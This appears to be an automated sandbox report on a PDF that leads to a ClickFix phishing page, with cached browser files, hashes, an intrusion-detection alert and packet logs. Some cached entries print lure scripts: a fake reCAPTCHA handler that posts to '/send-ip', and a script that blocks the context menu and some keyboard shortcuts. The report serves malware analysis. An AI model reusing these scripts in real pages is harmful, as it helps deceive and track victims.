Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.7571268282533
Encrypted:	false
SSDEEP:	3:PouV7uJzhquHbtt6vYk2ZRMRJfHKERSAEtvxLrXZiLKY8KWMm9AbBK6c4NGL:hxuJzhqIzyYk+qRU4zEdxXZiqNM0+BKj
MD5:	F903C6BF520C04B0EF07D926AF78E263
SHA1:	DEF53C8C51418D8A6660E50CAACEE77A5AAA575A
SHA-256:	E7C6B9D5281C4D2A3A7AF6293A17FC1685460DC81DD4BD59063637FFDB190029
SHA-512:	3358D5F395818B834B2A5C5B4C8A1FF617BC842F5732C79235A3847806A411D5512161A968EDFF684CD29B37DD12E2A7ADACA54E1C289434BBBBD1BA41F8C785
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="en">.<head>.<meta charset="utf-8">.<title>Error</title>.</head>.<body>.<pre>Cannot GET /send-ip</pre>.</body>.</html>.

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
URL:	https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 190
Category:	downloaded
Size (bytes):	168
Entropy (8bit):	6.7197357652806184
Encrypted:	false
SSDEEP:	3:FttakNW0v1qHv3HjapKxfD/20PbHykg8TaKRUvKEivzCz4Ecssx2VSREvln:Xt5WaoekNj20P57TaKaHirPF2Vr9n
MD5:	3B84FB10F1DF8E1537F04D6C0F8EB5B6
SHA1:	E486E09F4BEC13056A3C39C48738C50C0983130B
SHA-256:	8675302B63BEDD118BCBB4527599F0FC76E387E96C626776FB7CCB63DA4F498A
SHA-512:	6FC2F7B6FE2EB51700421CC92C30137A3820208B3AA75E159D11FE7064FF152680D0D746ABACB5D0E98350ACA8872B2FCFC12B8E32CE0232E343E1FA505C3660
Malicious:	false
URL:	http://clintonmakes.com/favicon.ico
Preview:	..........M.M..0...R.K.plv..H.H.8x...d....t./M....&='.Zgp.....P...[.".9b*S....1..A...nr.....,.(.J[..:)B.$.......n.Y.a......R.509.}...l?.0.<y..gW.....\|....v....

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	586
Entropy (8bit):	4.370557641150247
Encrypted:	false
SSDEEP:	12:uSoUAjPUdbGVL+PSePqfowFGZciFanuacl:1kTibMC1qfNsCmauacl
MD5:	ED1D486217F2793D2EF42BE7E3832E34
SHA1:	90E1F5CA3AD5B15F83D073983CCC793AA10EC3D3
SHA-256:	87BEC5CD283117B0FAA07633479F3E64F476BC65E94EB1B306EDEED381B05DD1
SHA-512:	17BC69370C9B0B4FA0D536D6E188770F575CCA8ABCBCE515FE045483787DC01AB5D1F9023F79860ED55B6D6CFC7D54010E538A2299666972D58C6BB8A80EDFBD
Malicious:	false
URL:	https://fixecondfirbook.info/captchaHandler.js
Preview:	document.addEventListener('DOMContentLoaded', function() {. const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox');. if (recaptchaCheckbox) {. recaptchaCheckbox.addEventListener('click', function() {. // ........ IP-...... .. ....... fetch('/send-ip', {. method: 'POST'. }).then(response => {. if (response.ok) {. console.log('');. } else {. console.error('');. }. });. });. }.}); .

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	874
Entropy (8bit):	4.562777845892514
Encrypted:	false
SSDEEP:	24:2z34mR0mRFgRmRCL3/mRLC4McHPXkniHqb8iHqmu:aLpfbgLegbM0nhYhmu
MD5:	E1B0667740A466F2ADE08864B8AAC4A8
SHA1:	3E79FF881EB857A030CDA726CBA4B73FDFEB9664
SHA-256:	D688F111F8DF6DADFE5505FDB923A2788311A2D1D70D4FE04688020E1B211A6D
SHA-512:	43E9400B5467A7DBFCBD89C9D08CBADE214DE5CC562A9DBF4D6A7F7216E5146C771E8BE90CF1F1C1E0106EA52F0F27CA7698D8190FB34603981CDCE50F26E4AD
Malicious:	false
Preview:	(function() {. function revertLanguageChange() {. if (document.documentElement.lang !== originalLang) {. document.documentElement.lang = originalLang;. }. }.. const originalLang = document.documentElement.lang;.. const observer = new MutationObserver(revertLanguageChange);. observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] });.. document.addEventListener('contextmenu', function(event) {. event.preventDefault();. }, false);.. document.addEventListener('keydown', function(event) {. if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. }, false);.})();.

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	874
Entropy (8bit):	4.562777845892514
Encrypted:	false
SSDEEP:	24:2z34mR0mRFgRmRCL3/mRLC4McHPXkniHqb8iHqmu:aLpfbgLegbM0nhYhmu
MD5:	E1B0667740A466F2ADE08864B8AAC4A8
SHA1:	3E79FF881EB857A030CDA726CBA4B73FDFEB9664
SHA-256:	D688F111F8DF6DADFE5505FDB923A2788311A2D1D70D4FE04688020E1B211A6D
SHA-512:	43E9400B5467A7DBFCBD89C9D08CBADE214DE5CC562A9DBF4D6A7F7216E5146C771E8BE90CF1F1C1E0106EA52F0F27CA7698D8190FB34603981CDCE50F26E4AD
Malicious:	false
URL:	https://fixecondfirbook.info/languageRevert.js
Preview:	(function() {. function revertLanguageChange() {. if (document.documentElement.lang !== originalLang) {. document.documentElement.lang = originalLang;. }. }.. const originalLang = document.documentElement.lang;.. const observer = new MutationObserver(revertLanguageChange);. observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] });.. document.addEventListener('contextmenu', function(event) {. event.preventDefault();. }, false);.. document.addEventListener('keydown', function(event) {. if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') {. event.preventDefault();. }. }, false);.})();.

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HEIQL:kh
MD5:	A6FD0B162FB82DAB665FD0C44346F558
SHA1:	E097833D14D58DF26033A916160A935AAFAC37C9
SHA-256:	800C0A33850287FD505475C979F6482241E98EAA136732EA18AABA084B838E15
SHA-512:	13AD2E0568F7F6BD05524CFA1797DC0309E6CDB1AA98C818060DCB2ACA99958DAFAB4A2CF5AE1CEA49367CC4B7A91633DB889B35ACF15ECB85AF461F2F74D593
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAnojw-vAgGkgRIFDQzGSa4=?alt=proto
Preview:	CgkKBw0MxkmuGgA=

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	586
Entropy (8bit):	4.370557641150247
Encrypted:	false
SSDEEP:	12:uSoUAjPUdbGVL+PSePqfowFGZciFanuacl:1kTibMC1qfNsCmauacl
MD5:	ED1D486217F2793D2EF42BE7E3832E34
SHA1:	90E1F5CA3AD5B15F83D073983CCC793AA10EC3D3
SHA-256:	87BEC5CD283117B0FAA07633479F3E64F476BC65E94EB1B306EDEED381B05DD1
SHA-512:	17BC69370C9B0B4FA0D536D6E188770F575CCA8ABCBCE515FE045483787DC01AB5D1F9023F79860ED55B6D6CFC7D54010E538A2299666972D58C6BB8A80EDFBD
Malicious:	false
Preview:	document.addEventListener('DOMContentLoaded', function() {. const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox');. if (recaptchaCheckbox) {. recaptchaCheckbox.addEventListener('click', function() {. // ........ IP-...... .. ....... fetch('/send-ip', {. method: 'POST'. }).then(response => {. if (response.ok) {. console.log('');. } else {. console.error('');. }. });. });. }.}); .

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 526
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	7.110598860032035
Encrypted:	false
SSDEEP:	6:XtyPGgXdn/L/x3ArVZad32XfxRqI+XQcqa/uD+hWpXJy2QDnW/:XKXdnz/x3UU32vxwIjG/+ps3i/
MD5:	273A8E7CE16720012159CCEB076C49B7
SHA1:	3D5057731B1521631866D264662F645BAC8CFF95
SHA-256:	01CE43EC5F0C2288440121A3A84C1A44210912BC59BB0CA41ED7DA3D68ACCCE7
SHA-512:	916731902918128430C5C3B49C509F8A7DA63312445978CD59B2A9199AC34F95E007C8983A728F2918BF32B1C36F1F310415A14FBDDCF56F18F0D777AEB9ADA3
Malicious:	false
URL:	http://clintonmakes.com/215c/
Preview:	.............n. .._..xri3...%...Y:E..6...8...Kb..TE.....8....m..x..lW...R.%....T-.L..9......;.G.~.35v.'.!q.l.j%...)_.I.D}.".BI.p..J.........n..}.HC.}S\g...G.nX.&.....d.[.].H...3...9........6,bW].P.a........[q.....j..}..=z=.f.._...S....

Static File Info

General

File type:	PDF document, version 1.4, 6 pages
Entropy (8bit):	7.905063272079755
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	gj2tWCRpMS.pdf
File size:	139'521 bytes
MD5:	d237ffc002f994f9c28f04a9648742ab
SHA1:	7973fc7e825f9824878a1e887a2c70a7e14d2ce4
SHA256:	2ad342e7ad2dc10f94f1161b04263ca05e3d552ffb4ffad07364cfef62ea01f0
SHA512:	80e260dc8fcacd62f447efcd10666b9ac70110b491dd46cc8faa788274d770f436b29422041c675f9fd5b3c097888b5451d8cd3ee3863fb5127c76f9e26d4ada
SSDEEP:	3072:T/h+C3ljMj9djHijSidRmXRAzf02QSrydZUEbFHQAdjeDc0V+wBfhX1:vJidjCjBfg29+HQAdCsuF
TLSH:	8ED3E167DA848C8CF8E3CBF6412A7E8F446DF32303E0EA56347446976D11D4DA6321BA
File Content Preview:	%PDF-1.4.1 0 obj.<<./Count 6./Kids [3 0 R.5 0 R.7 0 R.9 0 R.11 0 R.13 0 R]./MediaBox [0 0 595.28 841.89]./Type /Pages.>>.endobj.2 0 obj.<<./OpenAction [3 0 R /FitH null]./PageLayout /OneColumn./Pages 1 0 R./Type /Catalog.>>.endobj.3 0 obj.<<./Annots [<</A

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.4
Total Entropy:	7.905063
Total Bytes:	139521
Stream Entropy:	7.974419
Stream Bytes:	126223
Entropy outside Streams:	5.214062
Bytes outside Streams:	13298
Number of EOF found:	1
Bytes after EOF:

Keywords Statistics

Name	Count
obj	79
endobj	79
stream	31
endstream	31
xref	1
trailer	1
startxref	1
/Page	6
/Encrypt	0
/ObjStm	0
/URI	14
/JS	0
/JavaScript	0
/AA	0
/OpenAction	1
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5	Preview
71	001024b2b2320c10	fb78c7ce898eb0937ea7cd5e2ab220f9

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-16T17:20:27.241086+0100	2859486	ETPRO MALWARE Observed ClickFix Powershell Delivery Page Inbound	1	172.67.168.162	443	192.168.2.6	49763	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 17:19:51.578294992 CET	49674	443	192.168.2.6	173.222.162.64
Jan 16, 2025 17:19:51.578298092 CET	49673	443	192.168.2.6	173.222.162.64
Jan 16, 2025 17:19:51.875108004 CET	49672	443	192.168.2.6	173.222.162.64
Jan 16, 2025 17:20:21.385294914 CET	49746	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:21.385349989 CET	443	49746	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:21.385422945 CET	49746	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:21.386184931 CET	49747	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:21.386238098 CET	443	49747	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:21.386302948 CET	49747	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:21.386424065 CET	49746	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:21.386437893 CET	443	49746	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:21.386590004 CET	49747	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:21.386605024 CET	443	49747	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:21.630127907 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:21.630167961 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:21.630415916 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:21.631989002 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:21.632009029 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:21.863329887 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:21.863377094 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:21.865385056 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.118319035 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.118334055 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.126236916 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.126272917 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.126338005 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.131558895 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.131575108 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.172285080 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.172352076 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.172415972 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.174649954 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.174674034 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.191201925 CET	443	49747	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.194400072 CET	49747	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.194432974 CET	443	49747	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.195497990 CET	443	49746	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.195669889 CET	443	49747	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.195755959 CET	49746	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.195785999 CET	443	49746	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.195812941 CET	49747	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.196888924 CET	443	49746	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.196963072 CET	49746	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.199206114 CET	49747	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.199357033 CET	443	49747	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.201258898 CET	49746	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.201405048 CET	443	49746	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.201411963 CET	49747	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.201438904 CET	443	49747	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.201555014 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.201612949 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.247203112 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.247227907 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.247381926 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.247390985 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.247601986 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.247654915 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.251130104 CET	49747	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.251446009 CET	49746	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.251471996 CET	443	49746	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.297251940 CET	49746	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.358773947 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.358800888 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.358814955 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.358839035 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.358859062 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.358870029 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.358901024 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.439554930 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.439583063 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.439624071 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.439639091 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.439678907 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.439694881 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.442122936 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.442142963 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.442207098 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.442214012 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.442255974 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.526149988 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.526174068 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.526216030 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.526232958 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.526258945 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.526308060 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.527487040 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.527502060 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.527555943 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.527564049 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.527595043 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.528577089 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.528592110 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.528676033 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.528686047 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.528789997 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.529582977 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.529597998 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.529643059 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.529649973 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.529947042 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.537249088 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.537302017 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.537673950 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.538017035 CET	49752	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.538033962 CET	443	49752	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.613035917 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.613102913 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.613142967 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.613157988 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.613194942 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.613221884 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.613715887 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.613735914 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.613794088 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.613801003 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.613879919 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.615799904 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.615818977 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.615915060 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.615921021 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.615951061 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.616081953 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.616096973 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.616158009 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.616163015 CET	443	49748	150.171.28.10	192.168.2.6
